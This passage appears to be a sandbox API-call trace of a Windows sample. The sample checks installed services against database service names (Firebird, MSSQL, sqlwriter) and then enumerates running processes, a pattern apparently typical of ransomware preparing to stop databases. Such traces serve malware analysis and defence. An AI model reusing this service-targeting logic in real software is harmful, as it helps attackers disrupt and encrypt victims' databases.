-1 [0084.233] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0084.233] lstrlenW (lpString="Power") returned 5 [0084.233] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0084.233] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0084.233] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0084.233] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0084.233] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0084.233] lstrlenW (lpString="ProfSvc") returned 7 [0084.233] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0084.233] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0084.233] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0084.233] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0084.233] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0084.233] lstrlenW (lpString="RpcEptMapper") returned 12 [0084.233] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0084.233] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0084.233] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0084.233] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0084.233] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0084.233] lstrlenW (lpString="RpcSs") returned 5 [0084.233] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0084.233] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0084.233] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0084.233] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0084.233] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0084.233] lstrlenW (lpString="SamSs") returned 5 [0084.233] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0084.233] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0084.233] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0084.233] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0084.233] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0084.233] lstrlenW (lpString="Schedule") returned 8 [0084.234] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0084.234] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0084.234] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0084.234] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0084.234] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0084.234] lstrlenW (lpString="SecurityHealthService") returned 21 [0084.234] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1 [0084.234] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1 [0084.234] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1 [0084.234] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1 [0084.234] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1 [0084.234] lstrlenW (lpString="SENS") returned 4 [0084.234] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0084.234] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0084.234] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0084.234] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0084.234] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0084.234] lstrlenW (lpString="ShellHWDetection") returned 16 [0084.234] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0084.234] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0084.234] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0084.234] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0084.234] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0084.234] lstrlenW (lpString="Spooler") returned 7 [0084.234] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0084.234] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0084.234] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0084.234] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0084.234] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0084.234] lstrlenW (lpString="SSDPSRV") returned 7 [0084.234] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SSDPSRV") returned -1 [0084.234] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SSDPSRV") returned -1 [0084.234] lstrcmpiW (lpString1="sqlwriter", lpString2="SSDPSRV") returned -1 [0084.234] lstrcmpiW (lpString1="mssqlserver", lpString2="SSDPSRV") returned -1 [0084.234] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SSDPSRV") returned -1 [0084.234] lstrlenW (lpString="StateRepository") returned 15 [0084.235] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1 [0084.235] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1 [0084.235] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1 [0084.235] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1 [0084.235] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1 [0084.235] lstrlenW (lpString="SysMain") returned 7 [0084.235] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0084.235] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0084.235] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0084.235] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0084.235] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x4f3b70 | out: hHeap=0x490000) returned 1 [0084.235] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x308 [0084.602] Process32FirstW (in: hSnapshot=0x308, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0084.603] Process32NextW (in: hSnapshot=0x308, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6a, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0084.603] lstrlenW (lpString="System") returned 6 [0084.603] Process32NextW (in: hSnapshot=0x308, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x140, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0084.604] lstrlenW (lpString="smss.exe") returned 8 [0084.604] Process32NextW (in: hSnapshot=0x308, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x194, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x18c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0084.604] lstrlenW (lpString="csrss.exe") returned 9 [0084.604] Process32NextW (in: hSnapshot=0x308, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x18c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0084.605] lstrlenW (lpString="wininit.exe") returned 11 [0084.605] Process32NextW (in: hSnapshot=0x308, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1d0, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0084.605] lstrlenW (lpString="csrss.exe") returned 9 [0084.605] Process32NextW (in: hSnapshot=0x308, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x220, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d0, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0084.606] lstrlenW (lpString="winlogon.exe") returned 12 [0084.606] Process32NextW (in: hSnapshot=0x308, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x23c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1d8, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0084.606] lstrlenW (lpString="services.exe") returned 12 [0084.606] Process32NextW (in: hSnapshot=0x308, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x244, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1d8, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0084.607] lstrlenW (lpString="lsass.exe") returned 9 [0084.607] Process32NextW (in: hSnapshot=0x308, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0084.607] lstrlenW (lpString="svchost.exe") returned 11 [0084.607] Process32NextW (in: hSnapshot=0x308, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x220, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0084.608] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0084.608] Process32NextW (in: hSnapshot=0x308, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0084.608] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0084.608] Process32NextW (in: hSnapshot=0x308, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x304, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0084.609] lstrlenW (lpString="svchost.exe") returned 11 [0084.609] Process32NextW (in: hSnapshot=0x308, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x364, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x220, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0084.609] lstrlenW (lpString="dwm.exe") returned 7 [0084.609] Process32NextW (in: hSnapshot=0x308, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5e, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0084.610] lstrlenW (lpString="svchost.exe") returned 11 [0084.610] Process32NextW (in: hSnapshot=0x308, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0084.610] lstrlenW (lpString="svchost.exe") returned 11 [0084.611] Process32NextW (in: hSnapshot=0x308, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0084.611] lstrlenW (lpString="svchost.exe") returned 11 [0084.611] Process32NextW (in: hSnapshot=0x308, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0084.612] lstrlenW (lpString="svchost.exe") returned 11 [0084.612] Process32NextW (in: hSnapshot=0x308, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x314, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x22, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0084.612] lstrlenW (lpString="svchost.exe") returned 11 [0084.612] Process32NextW (in: hSnapshot=0x308, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x43c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0084.613] lstrlenW (lpString="svchost.exe") returned 11 [0084.613] Process32NextW (in: hSnapshot=0x308, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0084.613] lstrlenW (lpString="svchost.exe") returned 11 [0084.613] Process32NextW (in: hSnapshot=0x308, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x584, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0084.617] lstrlenW (lpString="svchost.exe") returned 11 [0084.617] Process32NextW (in: hSnapshot=0x308, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x58c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0084.618] lstrlenW (lpString="svchost.exe") returned 11 [0084.618] Process32NextW (in: hSnapshot=0x308, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0084.618] lstrlenW (lpString="svchost.exe") returned 11 [0084.618] Process32NextW (in: hSnapshot=0x308, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0084.619] lstrlenW (lpString="spoolsv.exe") returned 11 [0084.619] Process32NextW (in: hSnapshot=0x308, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x694, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0084.619] lstrlenW (lpString="svchost.exe") returned 11 [0084.619] Process32NextW (in: hSnapshot=0x308, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x4e4, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0084.620] lstrlenW (lpString="audiodg.exe") returned 11 [0084.620] Process32NextW (in: hSnapshot=0x308, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x3b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0084.620] lstrlenW (lpString="sihost.exe") returned 10 [0084.620] Process32NextW (in: hSnapshot=0x308, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x718, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0084.621] lstrlenW (lpString="svchost.exe") returned 11 [0084.621] Process32NextW (in: hSnapshot=0x308, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x79c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x3b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0084.621] lstrlenW (lpString="taskhostw.exe") returned 13 [0084.621] Process32NextW (in: hSnapshot=0x308, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x44, th32ParentProcessID=0x7c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0084.622] lstrlenW (lpString="explorer.exe") returned 12 [0084.622] Process32NextW (in: hSnapshot=0x308, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x828, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0084.622] lstrlenW (lpString="OfficeClickToRun.exe") returned 20 [0084.622] Process32NextW (in: hSnapshot=0x308, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x860, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0084.623] lstrlenW (lpString="SecurityHealthService.exe") returned 25 [0084.623] Process32NextW (in: hSnapshot=0x308, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0084.623] lstrlenW (lpString="Memory Compression") returned 18 [0084.623] Process32NextW (in: hSnapshot=0x308, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0084.624] lstrlenW (lpString="ShellExperienceHost.exe") returned 23 [0084.624] Process32NextW (in: hSnapshot=0x308, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb18, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0084.624] lstrlenW (lpString="SearchUI.exe") returned 12 [0084.625] Process32NextW (in: hSnapshot=0x308, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbb8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0084.625] lstrlenW (lpString="RuntimeBroker.exe") returned 17 [0084.625] Process32NextW (in: hSnapshot=0x308, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe18, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0084.626] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0084.626] Process32NextW (in: hSnapshot=0x308, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xff8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="furholdtopics.exe")) returned 1 [0084.626] lstrlenW (lpString="furholdtopics.exe") returned 17 [0084.626] Process32NextW (in: hSnapshot=0x308, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x504, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="sensors conjunction petition.exe")) returned 1 [0084.627] lstrlenW (lpString="sensors conjunction petition.exe") returned 32 [0084.627] Process32NextW (in: hSnapshot=0x308, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="until_commit.exe")) returned 1 [0084.627] lstrlenW (lpString="until_commit.exe") returned 16 [0084.627] Process32NextW (in: hSnapshot=0x308, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x374, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="cablesdiscussed.exe")) returned 1 [0084.628] lstrlenW (lpString="cablesdiscussed.exe") returned 19 [0084.628] Process32NextW (in: hSnapshot=0x308, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="unavailable cricket postcard.exe")) returned 1 [0084.628] lstrlenW (lpString="unavailable cricket postcard.exe") returned 32 [0084.628] Process32NextW (in: hSnapshot=0x308, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcdc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="lexmark.exe")) returned 1 [0084.629] lstrlenW (lpString="lexmark.exe") returned 11 [0084.629] Process32NextW (in: hSnapshot=0x308, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x75c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="cj_antenna_alone.exe")) returned 1 [0084.633] lstrlenW (lpString="cj_antenna_alone.exe") returned 20 [0084.633] Process32NextW (in: hSnapshot=0x308, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa1c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="dryer-pocket.exe")) returned 1 [0084.633] lstrlenW (lpString="dryer-pocket.exe") returned 16 [0084.633] Process32NextW (in: hSnapshot=0x308, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd1c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="delete disable changing.exe")) returned 1 [0084.634] lstrlenW (lpString="delete disable changing.exe") returned 27 [0084.634] Process32NextW (in: hSnapshot=0x308, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd24, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="sitemap instructors tide.exe")) returned 1 [0084.634] lstrlenW (lpString="sitemap instructors tide.exe") returned 28 [0084.634] Process32NextW (in: hSnapshot=0x308, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x970, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="underwear.exe")) returned 1 [0084.635] lstrlenW (lpString="underwear.exe") returned 13 [0084.635] Process32NextW (in: hSnapshot=0x308, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa2c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="dear-hearings.exe")) returned 1 [0084.635] lstrlenW (lpString="dear-hearings.exe") returned 17 [0084.635] Process32NextW (in: hSnapshot=0x308, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd6c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0084.636] lstrlenW (lpString="dllhost.exe") returned 11 [0084.636] Process32NextW (in: hSnapshot=0x308, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd64, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="risks_lows_nickel.exe")) returned 1 [0084.636] lstrlenW (lpString="risks_lows_nickel.exe") returned 21 [0084.636] Process32NextW (in: hSnapshot=0x308, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="physiologyconfirmedthursday.exe")) returned 1 [0084.637] lstrlenW (lpString="physiologyconfirmedthursday.exe") returned 31 [0084.637] Process32NextW (in: hSnapshot=0x308, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, 